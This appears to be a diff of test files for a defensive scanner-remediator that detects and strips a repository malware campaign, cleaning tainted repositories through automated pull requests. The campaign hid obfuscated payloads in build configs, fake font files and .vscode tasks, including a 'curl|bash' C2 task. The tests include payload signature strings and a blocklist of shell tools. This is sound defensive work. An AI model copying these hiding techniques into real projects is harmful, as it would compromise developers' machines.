||||
]
|
||||
}
|
||||
`;
|
||||
@@ -0,0 +1,80 @@
|
||||
import { test, after } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { parseJsonc, getMember, removeArrayElements } from "../src/jsonc.js";
|
||||
import { cleanupAll } from "./helpers.js";
|
||||
|
||||
after(cleanupAll);
|
||||
|
||||
test("parses JSONC with line + block comments and trailing commas", () => {
|
||||
const text = `{
|
||||
// a comment
|
||||
"version": "2.0.0", /* inline */
|
||||
"tasks": [
|
||||
{ "label": "a" },
|
||||
{ "label": "b" }, // trailing comma below
|
||||
],
|
||||
}`;
|
||||
const r = parseJsonc(text);
|
||||
assert.equal(r.ok, true, r.error?.message);
|
||||
assert.equal(r.value.version, "2.0.0");
|
||||
assert.equal(r.value.tasks.length, 2);
|
||||
});
|
||||
|
||||
test("handles a BOM and comment-like sequences inside strings", () => {
|
||||
const text = `{ "url": "http://x/y // not a comment", "n": 1 }`;
|
||||
const r = parseJsonc(text);
|
||||
assert.equal(r.ok, true, r.error?.message);
|
||||
assert.equal(r.value.url, "http://x/y // not a comment");
|
||||
assert.equal(r.value.n, 1);
|
||||
});
|
||||
|
||||
test("reports failure (not throw) on malformed input", () => {
|
||||
const r = parseJsonc(`{ "a": }`);
|
||||
assert.equal(r.ok, false);
|
||||
assert.ok(r.error instanceof Error);
|
||||
});
|
||||
|
||||
test("getMember returns the value node for a key", () => {
|
||||
const r = parseJsonc(`{ "tasks": [1, 2, 3] }`);
|
||||
const node = getMember(r.ast, "tasks");
|
||||
assert.equal(node.type, "array");
|
||||
assert.equal(node.elements.length, 3);
|
||||
});
|
||||
|
||||
test("removeArrayElements deletes the target element and keeps valid JSON", () => {
|
||||
const text = `{
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{ "label": "build" },
|
||||
{ "label": "evil" }
|
||||
]
|
||||
}`;
|
||||
const r = parseJsonc(text);
|
||||
const arr = getMember(r.ast, "tasks");
|
||||
const edited = removeArrayElements(text, arr, [1]);
|
||||
const reparsed = parseJsonc(edited);
|
||||
assert.equal(reparsed.ok, true, reparsed.error?.message);
|
||||
assert.equal(reparsed.value.tasks.length, 1);
|
||||
assert.equal(reparsed.value.tasks[0].label, "build");
|
||||
assert.equal(reparsed.value.version, "2.0.0");
|
||||
});
|
||||
|
||||
test("removeArrayElements can remove the first element too", () => {
|
||||
const text = `{ "tasks": [ { "label": "evil" }, { "label": "keep" } ] }`;
|
||||
const r = parseJsonc(text);
|
||||
const arr = getMember(r.ast, "tasks");
|
||||
const edited = removeArrayElements(text, arr, [0]);
|
||||
const reparsed = parseJsonc(edited);
|
||||
assert.equal(reparsed.ok, true, reparsed.error?.message);
|
||||
assert.deepEqual(reparsed.value.tasks.map((t) => t.label), ["keep"]);
|
||||
});
|
||||
|
||||
test("removeArrayElements handles removing adjacent elements", () => {
|
||||
const text = `{ "tasks": [ {"i":0}, {"i":1}, {"i":2}, {"i":3} ] }`;
|
||||
const r = parseJsonc(text);
|
||||
const arr = getMember(r.ast, "tasks");
|
||||
const edited = removeArrayElements(text, arr, [1, 2]);
|
||||
const reparsed = parseJsonc(edited);
|
||||
assert.equal(reparsed.ok, true, reparsed.error?.message);
|
||||
assert.deepEqual(reparsed.value.tasks.map((t) => t.i), [0, 3]);
|
||||
});
|
||||
@@ -0,0 +1,136 @@
|
||||
import { test, after } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import fs from "node:fs/promises";
|
||||
import { existsSync } from "node:fs";
|
||||
import path from "node:path";
|
||||
import { scanRepo } from "../src/scanner.js";
|
||||
import { remediate } from "../src/remediator.js";
|
||||
import {
|
||||
makeRepo,
|
||||
cleanupAll,
|
||||
LEGIT_CONFIG,
|
||||
INFECTED_TASKS_NODE,
|
||||
ORIGINAL_PAYLOAD,
|
||||
ROTATED_PAYLOAD,
|
||||
infectedConfig,
|
||||
goodFont,
|
||||
evilFont,
|
||||
} from "./helpers.js";
|
||||
|
||||
after(cleanupAll);
|
||||
|
||||
// git not needed for these (no .git dir) — stub returns "not tracked".
|
||||
const noGit = async () => ({ exitCode: 1, stdout: "", stderr: "" });
|
||||
|
||||
test("strips original payload, leaving the legit config byte-identical", async () => {
|
||||
const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) });
|
||||
const findings = await scanRepo(repo);
|
||||
const result = await remediate(repo, findings, { git: noGit });
|
||||
assert.equal(result.changed, true);
|
||||
const out = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8");
|
||||
assert.ok(!out.includes("rmcej%otb%"), "payload signature should be gone");
|
||||
assert.ok(!out.includes("global['!']"), "payload start should be gone");
|
||||
assert.equal(out, LEGIT_CONFIG.replace(/\s+$/, "") + "\n", "legit config preserved verbatim");
|
||||
});
|
||||
|
||||
test("strips rotated payload", async () => {
|
||||
const repo = await makeRepo({ "tailwind.config.js": infectedConfig(ROTATED_PAYLOAD) });
|
||||
const findings = await scanRepo(repo);
|
||||
await remediate(repo, findings, { git: noGit });
|
||||
const out = await fs.readFile(path.join(repo, "tailwind.config.js"), "utf8");
|
||||
assert.ok(!out.includes("Cot%3t=shtP"));
|
||||
assert.ok(!out.includes("global['_V']"));
|
||||
});
|
||||
|
||||
test("removes the entire .vscode directory when a malicious task is found", async () => {
|
||||
const repo = await makeRepo({
|
||||
".vscode/tasks.json": INFECTED_TASKS_NODE,
|
||||
".vscode/settings.json": `{ "editor.tabSize": 2 }`,
|
||||
});
|
||||
const findings = await scanRepo(repo);
|
||||
await remediate(repo, findings, { git: noGit });
|
||||
assert.equal(existsSync(path.join(repo, ".vscode")), false, ".vscode removed entirely");
|
||||
});
|
||||
|
||||
test("removes the carrier but preserves a referenced clean font (remove-font-set)", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/evil.woff2": evilFont(),
|
||||
"public/fonts/good.woff2": goodFont(),
|
||||
"src/app.css": `@font-face{src:url('/fonts/good.woff2');}`,
|
||||
});
|
||||
const findings = await scanRepo(repo);
|
||||
const result = await remediate(repo, findings, { git: noGit });
|
||||
assert.equal(result.changed, true);
|
||||
assert.equal(existsSync(path.join(repo, "public/fonts/evil.woff2")), false, "carrier removed");
|
||||
assert.equal(existsSync(path.join(repo, "public/fonts/good.woff2")), true, "clean font preserved");
|
||||
assert.equal(existsSync(path.join(repo, "public/fonts")), true, "fonts dir kept");
|
||||
});
|
||||
|
||||
test("removes the whole fonts dir when it is entirely malware (remove-dir)", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/fa-solid-400.woff2": evilFont(),
|
||||
"public/fonts/fa-brands-400.woff2": goodFont(),
|
||||
"public/fonts/README.md": "# Font Awesome",
|
||||
});
|
||||
const findings = await scanRepo(repo);
|
||||
await remediate(repo, findings, { git: noGit });
|
||||
assert.equal(existsSync(path.join(repo, "public/fonts")), false, "fonts dir removed");
|
||||
assert.equal(existsSync(path.join(repo, "public")), true, "only the fonts dir is removed");
|
||||
});
|
||||
|
||||
test("removes artifacts and strips all injected .gitignore lines", async () => {
|
||||
const repo = await makeRepo({
|
||||
"temp_auto_push.bat": "x",
|
||||
"temp_interactive_push.bat": "x",
|
||||
"config.bat": "x",
|
||||
"branch_structure.json": "{}",
|
||||
".gitignore": "node_modules\nconfig.bat\ntemp_auto_push.bat\ntemp_interactive_push.bat\nbranch_structure.json\n",
|
||||
});
|
||||
const findings = await scanRepo(repo);
|
||||
await remediate(repo, findings, { git: noGit });
|
||||
for (const a of ["temp_auto_push.bat", "temp_interactive_push.bat", "config.bat", "branch_structure.json"]) {
|
||||
assert.equal(existsSync(path.join(repo, a)), false, `${a} removed`);
|
||||
}
|
||||
const gi = (await fs.readFile(path.join(repo, ".gitignore"), "utf8")).split(/\r?\n/);
|
||||
for (const inj of ["config.bat", "temp_auto_push.bat", "temp_interactive_push.bat", "branch_structure.json"]) {
|
||||
assert.ok(!gi.includes(inj), `${inj} removed from .gitignore`);
|
||||
}
|
||||
assert.ok(gi.includes(".env"), ".env pattern ensured");
|
||||
});
|
||||
|
||||
test("dry run reports planned changes without writing", async () => {
|
||||
const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) });
|
||||
const findings = await scanRepo(repo);
|
||||
const before = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8");
|
||||
const result = await remediate(repo, findings, { dryRun: true, git: noGit });
|
||||
assert.equal(result.changed, false);
|
||||
assert.ok(result.applied.length >= 1);
|
||||
const after = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8");
|
||||
assert.equal(after, before, "dry run must not modify the file");
|
||||
});
|
||||
|
||||
test("does not touch unrelated files when remediating", async () => {
|
||||
const repo = await makeRepo({
|
||||
"postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD),
|
||||
"README.md": "# Hello\nThis file is innocent.\n",
|
||||
"src/util.js": `export const add = (a, b) => a + b;\n`,
|
||||
});
|
||||
const readmeBefore = await fs.readFile(path.join(repo, "README.md"), "utf8");
|
||||
const utilBefore = await fs.readFile(path.join(repo, "src/util.js"), "utf8");
|
||||
const findings = await scanRepo(repo);
|
||||
await remediate(repo, findings, { git: noGit });
|
||||
assert.equal(await fs.readFile(path.join(repo, "README.md"), "utf8"), readmeBefore);
|
||||
assert.equal(await fs.readFile(path.join(repo, "src/util.js"), "utf8"), utilBefore);
|
||||
});
|
||||
|
||||
test("manual-review-only infection makes no automated file changes", async () => {
|
||||
const repo = await makeRepo({
|
||||
"package.json": JSON.stringify({ name: "x", dependencies: { "tailwind-autoanimation": "1.0.0" } }),
|
||||
".gitignore": ".env\n.env.local\n.env.*.local\n.env.production\n.env.development\n",
|
||||
});
|
||||
const findings = await scanRepo(repo);
|
||||
assert.equal(findings.severity, "infected");
|
||||
const result = await remediate(repo, findings, { git: noGit });
|
||||
assert.equal(result.changed, false, "no auto-fixable changes for an impostor dep");
|
||||
assert.equal(result.skipped.length >= 1, true);
|
||||
});
|
||||
@@ -0,0 +1,130 @@
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { buildRunJson, buildRunMarkdown } from "../src/report.js";
|
||||
|
||||
function sampleRun(overrides = {}) {
|
||||
return {
|
||||
scannedAt: "2026-06-01T12:00:00.000Z",
|
||||
scannedAtHuman: "Mon Jun 01 2026 12:00:00",
|
||||
account: { kind: "org", owner: "RMSoft-ltd" },
|
||||
dryRun: false,
|
||||
autoMerge: true,
|
||||
mergeMethod: "squash",
|
||||
totals: {
|
||||
total: 4,
|
||||
clean: 1,
|
||||
infected: 3,
|
||||
remediated: 2,
|
||||
merged: 1,
|
||||
prOpened: 2,
|
||||
manualOnly: 1,
|
||||
errors: 1,
|
||||
},
|
||||
repos: [
|
||||
{
|
||||
repo: "RMSoft-ltd/clean-app",
|
||||
severity: "clean",
|
||||
findings: [],
|
||||
deleted: [],
|
||||
modified: [],
|
||||
notes: [],
|
||||
manualReview: [],
|
||||
pr: null,
|
||||
error: null,
|
||||
},
|
||||
{
|
||||
repo: "RMSoft-ltd/web",
|
||||
severity: "infected",
|
||||
findings: [
|
||||
{
|
||||
file: ".vscode",
|
||||
action: "remove-dir",
|
||||
confidence: "high",
|
||||
contentConfirmed: true,
|
||||
description: "malicious task",
|
||||
},
|
||||
],
|
||||
deleted: [".vscode", "public/fonts"],
|
||||
modified: ["vite.config.js"],
|
||||
notes: ["removed malware-injected entries from .gitignore"],
|
||||
manualReview: [],
|
||||
pr: {
|
||||
url: "https://github.com/RMSoft-ltd/web/pull/7",
|
||||
merged: true,
|
||||
mergeError: null,
|
||||
},
|
||||
error: null,
|
||||
},
|
||||
{
|
||||
repo: "RMSoft-ltd/api",
|
||||
severity: "infected",
|
||||
findings: [],
|
||||
deleted: [],
|
||||
modified: ["postcss.config.mjs"],
|
||||
notes: [],
|
||||
manualReview: [],
|
||||
pr: {
|
||||
url: "https://github.com/RMSoft-ltd/api/pull/3",
|
||||
merged: false,
|
||||
mergeError: "required status checks have not passed",
|
||||
},
|
||||
error: null,
|
||||
},
|
||||
{
|
||||
repo: "RMSoft-ltd/mob",
|
||||
severity: "infected",
|
||||
findings: [],
|
||||
deleted: [],
|
||||
modified: [],
|
||||
notes: [],
|
||||
manualReview: ["package.json: impostor dependency"],
|
||||
pr: null,
|
||||
error: null,
|
||||
},
|
||||
],
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
test("buildRunMarkdown renders clickable PR links and merge status", () => {
|
||||
const md = buildRunMarkdown(sampleRun());
|
||||
assert.match(md, /\[#7\]\(https:\/\/github\.com\/RMSoft-ltd\/web\/pull\/7\)/);
|
||||
assert.match(md, /✅ merged/);
|
||||
assert.match(md, /⚠️ merge blocked/);
|
||||
assert.match(md, /\| Repository \| Pull request \| Status \| Changes \|/);
|
||||
assert.match(md, /removed: \.vscode, public\/fonts/);
|
||||
});
|
||||
|
||||
test("buildRunMarkdown surfaces a Needs attention section", () => {
|
||||
const md = buildRunMarkdown(sampleRun());
|
||||
assert.match(md, /## Needs attention/);
|
||||
assert.match(md, /auto-merge blocked: required status checks/);
|
||||
assert.match(md, /manual review: package\.json: impostor dependency/);
|
||||
});
|
||||
|
||||
test("buildRunMarkdown reflects account, mode, and totals", () => {
|
||||
const md = buildRunMarkdown(sampleRun());
|
||||
assert.match(md, /\*\*Account:\*\* org `RMSoft-ltd`/);
|
||||
assert.match(md, /auto-merge: on \(squash\)/);
|
||||
assert.match(md, /\| PRs merged \| 1 \|/);
|
||||
});
|
||||
|
||||
test("dry-run mode is labeled and omits the merged row", () => {
|
||||
const md = buildRunMarkdown(sampleRun({ dryRun: true, autoMerge: false }));
|
||||
assert.match(md, /DRY RUN/);
|
||||
assert.match(md, /auto-merge: off/);
|
||||
assert.ok(!md.includes("PRs merged"));
|
||||
});
|
||||
|
||||
test("buildRunJson tags a schema and preserves the repos array", () => {
|
||||
const run = sampleRun();
|
||||
const json = buildRunJson(run);
|
||||
assert.equal(json.schema, "polinrider-run/1");
|
||||
assert.equal(json.repos.length, 4);
|
||||
assert.equal(json.totals.merged, 1);
|
||||
// round-trips through JSON
|
||||
assert.deepEqual(JSON.parse(JSON.stringify(json)).account, {
|
||||
kind: "org",
|
||||
owner: "RMSoft-ltd",
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,52 @@
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import os from "node:os";
|
||||
import { assertAllowed, CommandNotAllowedError, safeExec, buildGitArgs } from "../src/safe-exec.js";
|
||||
|
||||
test("rejects non-allowlisted commands (no node/bash/sh/npm/etc.)", () => {
|
||||
for (const cmd of ["node", "nodejs", "bash", "sh", "zsh", "npm", "npx", "yarn", "pnpm", "deno", "bun", "python", "env"]) {
|
||||
assert.throws(() => assertAllowed(cmd, ["-e", "payload"]), CommandNotAllowedError, cmd);
|
||||
}
|
||||
});
|
||||
|
||||
test("rejects path-bearing commands", () => {
|
||||
assert.throws(() => assertAllowed("/usr/bin/git", ["status"]), CommandNotAllowedError);
|
||||
assert.throws(() => assertAllowed("./git", ["status"]), CommandNotAllowedError);
|
||||
assert.throws(() => assertAllowed("git\\..\\node", ["x"]), CommandNotAllowedError);
|
||||
});
|
||||
|
||||
test("rejects disallowed subcommands for git and gh", () => {
|
||||
assert.throws(() => assertAllowed("git", ["daemon"]), CommandNotAllowedError);
|
||||
assert.throws(() => assertAllowed("git", ["-C", "/x", "for-each-ref"]), CommandNotAllowedError);
|
||||
assert.throws(() => assertAllowed("gh", ["auth", "token"]), CommandNotAllowedError);
|
||||
assert.throws(() => assertAllowed("gh", []), CommandNotAllowedError);
|
||||
});
|
||||
|
||||
test("allows expected subcommands, skipping leading -C/-c value options", () => {
|
||||
assert.deepEqual(assertAllowed("git", ["-C", "/x", "commit", "-m", "y"]), { cmd: "git", sub: "commit" });
|
||||
assert.deepEqual(assertAllowed("git", ["-c", "core.hooksPath=/dev/null", "clone", "url", "d"]), {
|
||||
cmd: "git",
|
||||
sub: "clone",
|
||||
});
|
||||
assert.deepEqual(assertAllowed("gh", ["api", "orgs/x/repos"]), { cmd: "gh", sub: "api" });
|
||||
assert.deepEqual(assertAllowed("gh", ["pr", "create"]), { cmd: "gh", sub: "pr" });
|
||||
});
|
||||
|
||||
test("safeExec throws synchronously (not a rejected promise) on a violation", () => {
|
||||
assert.throws(() => safeExec("node", ["-e", "1"]), CommandNotAllowedError);
|
||||
});
|
||||
|
||||
test("buildGitArgs disables hooks and adds --no-verify to commit/push only", () => {
|
||||
const commit = buildGitArgs(["-C", "/x", "commit", "-m", "msg"]);
|
||||
assert.equal(commit[0], "-c");
|
||||
assert.ok(commit[1] === `core.hooksPath=${os.devNull}`);
|
||||
assert.ok(commit.includes("--no-verify"));
|
||||
|
||||
const push = buildGitArgs(["-C", "/x", "push", "url", "branch"]);
|
||||
assert.ok(push.includes("--no-verify"));
|
||||
|
||||
const clone = buildGitArgs(["clone", "--depth=1", "url", "d"]);
|
||||
assert.ok(!clone.includes("--no-verify"), "clone must not get --no-verify");
|
||||
assert.equal(clone[0], "-c");
|
||||
assert.ok(clone[1].startsWith("core.hooksPath="));
|
||||
});
|
||||
@@ -0,0 +1,33 @@
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { execa } from "execa";
|
||||
import { fileURLToPath } from "node:url";
|
||||
|
||||
const probe = fileURLToPath(new URL("./_safety-probe.mjs", import.meta.url));
|
||||
const entry = fileURLToPath(new URL("../src/index.js", import.meta.url));
|
||||
|
||||
test("Layer 3 in-code guards block eval / Function / vm / process.binding", async () => {
|
||||
const r = await execa(process.execPath, [probe], { reject: false });
|
||||
assert.equal(r.exitCode, 0, r.stderr || r.stdout);
|
||||
assert.match(r.stdout, /safety-probe OK/);
|
||||
});
|
||||
|
||||
test("Layer 2 V8 flag also blocks codegen (defense in depth)", async () => {
|
||||
const r = await execa(process.execPath, ["--disallow-code-generation-from-strings", probe], {
|
||||
reject: false,
|
||||
});
|
||||
assert.equal(r.exitCode, 0, r.stderr || r.stdout);
|
||||
});
|
||||
|
||||
test("orchestrator imports cleanly under the hardening flag (dependency canary)", async () => {
|
||||
// Import index.js (without running main) under the flag. If execa/chalk/ora or
|
||||
// any transitive dep needs eval/new Function at import time, this exits non-zero.
|
||||
const code = `await import(${JSON.stringify(entry)}); console.log("import OK");`;
|
||||
const r = await execa(
|
||||
process.execPath,
|
||||
["--disallow-code-generation-from-strings", "--input-type=module", "-e", code],
|
||||
{ reject: false },
|
||||
);
|
||||
assert.equal(r.exitCode, 0, r.stderr || r.stdout);
|
||||
assert.match(r.stdout, /import OK/);
|
||||
});
|
||||
@@ -0,0 +1,229 @@
|
||||
import { test, after } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { scanRepo } from "../src/scanner.js";
|
||||
import {
|
||||
makeRepo,
|
||||
cleanupAll,
|
||||
LEGIT_CONFIG,
|
||||
LEGIT_TASKS,
|
||||
LEGIT_LAUNCH,
|
||||
INFECTED_TASKS,
|
||||
INFECTED_TASKS_NODE,
|
||||
ORIGINAL_PAYLOAD,
|
||||
ROTATED_PAYLOAD,
|
||||
GENERIC_PAYLOAD,
|
||||
infectedConfig,
|
||||
goodFont,
|
||||
evilFont,
|
||||
validSfnt,
|
||||
} from "./helpers.js";
|
||||
|
||||
after(cleanupAll);
|
||||
|
||||
const byId = (findings, id) => findings.findings.find((f) => f.id === id);
|
||||
|
||||
test("clean repo → severity clean, zero findings", async () => {
|
||||
// A normal repo with legit VS Code tasks + referenced fonts (but not the full
|
||||
// tasks+launch+fonts malware triad) must come back completely clean.
|
||||
const repo = await makeRepo({
|
||||
"postcss.config.js": LEGIT_CONFIG,
|
||||
"src/App.jsx": `export default function App(){ return null; }\n`,
|
||||
".vscode/tasks.json": LEGIT_TASKS,
|
||||
"public/fonts/inter.woff2": goodFont(),
|
||||
"src/index.css": `@font-face{src:url('/fonts/inter.woff2');}`,
|
||||
"package.json": JSON.stringify({ name: "x", dependencies: { react: "^18" } }),
|
||||
".gitignore": ".env\nnode_modules\n",
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.severity, "clean");
|
||||
assert.equal(f.findings.length, 0);
|
||||
assert.equal(f.hasContentConfirmed, false);
|
||||
assert.equal(f.coPresenceAmplified, false);
|
||||
});
|
||||
|
||||
test("original variant payload → confirmed strip finding, infected", async () => {
|
||||
const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) });
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.severity, "infected");
|
||||
const finding = byId(f, "js.payload.original");
|
||||
assert.ok(finding, "expected original-variant finding");
|
||||
assert.equal(finding.action, "strip-js-payload");
|
||||
assert.equal(finding.contentConfirmed, true);
|
||||
assert.ok(finding.edit.offset > 0);
|
||||
});
|
||||
|
||||
test("rotated variant payload → confirmed strip finding", async () => {
|
||||
const repo = await makeRepo({ "tailwind.config.js": infectedConfig(ROTATED_PAYLOAD) });
|
||||
const f = await scanRepo(repo);
|
||||
const finding = byId(f, "js.payload.rotated");
|
||||
assert.ok(finding, "expected rotated-variant finding");
|
||||
assert.equal(finding.action, "strip-js-payload");
|
||||
assert.equal(finding.contentConfirmed, true);
|
||||
});
|
||||
|
||||
test("generic obfuscation → manual-review only, suspicious (not infected)", async () => {
|
||||
const repo = await makeRepo({ "src/App.js": infectedConfig(GENERIC_PAYLOAD) });
|
||||
const f = await scanRepo(repo);
|
||||
const finding = byId(f, "js.payload.heuristic");
|
||||
assert.ok(finding, "expected heuristic finding");
|
||||
assert.equal(finding.action, "manual-review");
|
||||
assert.equal(finding.contentConfirmed, false);
|
||||
assert.equal(f.severity, "suspicious");
|
||||
assert.equal(f.hasContentConfirmed, false);
|
||||
});
|
||||
|
||||
test("malicious .vscode (curl|bash C2 task) → whole-dir remove finding", async () => {
|
||||
const repo = await makeRepo({ ".vscode/tasks.json": INFECTED_TASKS, ".vscode/settings.json": "{}" });
|
||||
const f = await scanRepo(repo);
|
||||
const finding = byId(f, "vscode.malicious");
|
||||
assert.ok(finding, "expected vscode finding");
|
||||
assert.equal(finding.action, "remove-dir");
|
||||
assert.equal(finding.contentConfirmed, true);
|
||||
assert.match(finding.edit.absPath, /\.vscode$/);
|
||||
assert.equal(f.severity, "infected");
|
||||
});
|
||||
|
||||
test("malicious .vscode (node executes a font on folderOpen) → detected", async () => {
|
||||
const repo = await makeRepo({ ".vscode/tasks.json": INFECTED_TASKS_NODE });
|
||||
const f = await scanRepo(repo);
|
||||
const finding = byId(f, "vscode.malicious");
|
||||
assert.ok(finding, "the node-runs-a-font task must be detected");
|
||||
assert.equal(finding.action, "remove-dir");
|
||||
assert.equal(f.severity, "infected");
|
||||
});
|
||||
|
||||
test("carrier + referenced clean font in public/fonts → remove-font-set preserves the clean font", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/evil.woff2": evilFont(),
|
||||
"public/fonts/good.woff2": goodFont(),
|
||||
"src/app.css": `@font-face{src:url('/fonts/good.woff2');}`,
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
const fontFindings = f.findings.filter((x) => x.category === "font");
|
||||
assert.equal(fontFindings.length, 1);
|
||||
assert.equal(fontFindings[0].action, "remove-font-set");
|
||||
assert.equal(f.severity, "infected");
|
||||
const removed = fontFindings[0].edit.removals.map((r) => r.rel);
|
||||
assert.ok(removed.some((p) => /evil\.woff2$/.test(p)), "evil font removed");
|
||||
assert.ok(!removed.some((p) => /good\.woff2$/.test(p)), "referenced clean font preserved");
|
||||
});
|
||||
|
||||
test("infected fa font in a mixed dir → remove infected + fa-set + README, keep clean non-fa fonts", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/fa-solid-400.woff2": evilFont(), // JS carrier disguised as Font Awesome
|
||||
"public/fonts/fa-brands-400.woff2": goodFont(), // clean FA sibling (still removed)
|
||||
"public/fonts/fa-regular-400.ttf": validSfnt(), // clean FA sibling (still removed)
|
||||
"public/fonts/README.md": "# Font Awesome",
|
||||
"public/fonts/gill-sans/GillSans-Bold.otf": validSfnt("Copyright"), // clean, NOT fa → keep
|
||||
"public/fonts/gill-sans/README.md": "# Gill Sans license", // nested legit README → keep
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.severity, "infected");
|
||||
const finding = byId(f, "font.carrier-set");
|
||||
assert.ok(finding, "expected remove-font-set finding");
|
||||
assert.equal(finding.action, "remove-font-set");
|
||||
assert.equal(finding.contentConfirmed, true);
|
||||
const removed = finding.edit.removals.map((r) => r.rel);
|
||||
assert.equal(removed.length, 4, JSON.stringify(removed));
|
||||
for (const name of ["fa-solid-400.woff2", "fa-brands-400.woff2", "fa-regular-400.ttf", "README.md"]) {
|
||||
assert.ok(removed.some((p) => p.endsWith(name)), `${name} should be removed`);
|
||||
}
|
||||
// The nested clean subdir — including its own README — must be untouched.
|
||||
assert.ok(!removed.some((p) => p.includes("gill-sans")), "gill-sans must be preserved");
|
||||
});
|
||||
|
||||
test("referenced file that is a JS payload (not a valid font) → manual review, never auto-deleted", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/webfont.woff2": evilFont(), // JS payload, but wired into the build
|
||||
"src/app.js": `import "./public/fonts/webfont.woff2";`,
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
const finding = byId(f, "font.referenced-carrier");
|
||||
assert.ok(finding, "referenced carrier must be surfaced, not silently trusted");
|
||||
assert.equal(finding.action, "manual-review");
|
||||
assert.equal(finding.contentConfirmed, false);
|
||||
assert.equal(f.severity, "suspicious");
|
||||
const autoRemoved = ["delete-font", "remove-font-set", "remove-dir"];
|
||||
assert.ok(
|
||||
!f.findings.some((x) => autoRemoved.includes(x.action)),
|
||||
"a referenced file must never be auto-deleted",
|
||||
);
|
||||
});
|
||||
|
||||
test("dir of only infected + fa-set + README → whole-dir removal", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/fa-solid-400.woff2": evilFont(),
|
||||
"public/fonts/fa-brands-400.woff2": goodFont(),
|
||||
"public/fonts/README.md": "# FA",
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.severity, "infected");
|
||||
const finding = byId(f, "font.carrier-dir");
|
||||
assert.ok(finding, "expected whole-dir removal");
|
||||
assert.equal(finding.action, "remove-dir");
|
||||
assert.match(finding.edit.absPath, /public[\\/]fonts$/);
|
||||
});
|
||||
|
||||
test("valid fa-named fonts, no payload → medium (suspicious) manual review, no removal", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/fa-solid-900.woff2": goodFont(),
|
||||
"public/fonts/fa-brands-400.ttf": validSfnt(),
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.severity, "suspicious");
|
||||
assert.equal(f.hasContentConfirmed, false);
|
||||
const finding = byId(f, "font.review");
|
||||
assert.ok(finding, "expected fa manual-review finding");
|
||||
assert.equal(finding.action, "manual-review");
|
||||
assert.equal(finding.contentConfirmed, false);
|
||||
});
|
||||
|
||||
test("unreferenced but structurally valid non-fa fonts → clean, no findings", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/inter.woff2": goodFont(),
|
||||
"public/fonts/roboto.otf": validSfnt("Copyright"),
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.severity, "clean");
|
||||
assert.equal(f.findings.filter((x) => x.category === "font").length, 0);
|
||||
});
|
||||
|
||||
test("artifacts + injected .gitignore lines detected", async () => {
|
||||
const repo = await makeRepo({
|
||||
"temp_auto_push.bat": "echo malware",
|
||||
"config.bat": "echo orchestrator",
|
||||
"branch_structure.json": "{}",
|
||||
".gitignore": "node_modules\nconfig.bat\ntemp_auto_push.bat\nbranch_structure.json\n",
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.ok(byId(f, "artifact.temp_auto_push.bat"));
|
||||
assert.ok(byId(f, "artifact.config.bat"));
|
||||
assert.ok(byId(f, "artifact.branch_structure.json"));
|
||||
assert.ok(byId(f, "gitignore.injected"));
|
||||
assert.equal(f.severity, "infected");
|
||||
});
|
||||
|
||||
test("impostor dependency flagged for manual review (confirmed)", async () => {
|
||||
const repo = await makeRepo({
|
||||
"package.json": JSON.stringify({ name: "x", dependencies: { "tailwind-mainanimation": "1.0.0" } }),
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
const finding = byId(f, "package.impostor-deps");
|
||||
assert.ok(finding);
|
||||
assert.equal(finding.action, "manual-review");
|
||||
assert.equal(finding.contentConfirmed, true);
|
||||
assert.equal(f.severity, "infected");
|
||||
});
|
||||
|
||||
test("co-presence raises severity but does not mark infected without payload", async () => {
|
||||
const repo = await makeRepo({
|
||||
".vscode/tasks.json": LEGIT_TASKS,
|
||||
".vscode/launch.json": LEGIT_LAUNCH,
|
||||
"public/fonts/inter.woff2": goodFont(),
|
||||
"src/index.css": `@font-face{src:url('/fonts/inter.woff2');}`,
|
||||
});
|
||||
const f = await scanRepo(repo);
|
||||
assert.equal(f.coPresenceAmplified, true);
|
||||
assert.equal(f.hasContentConfirmed, false);
|
||||
assert.equal(f.severity, "suspicious");
|
||||
});
|
||||
Reference in New Issue
Block a user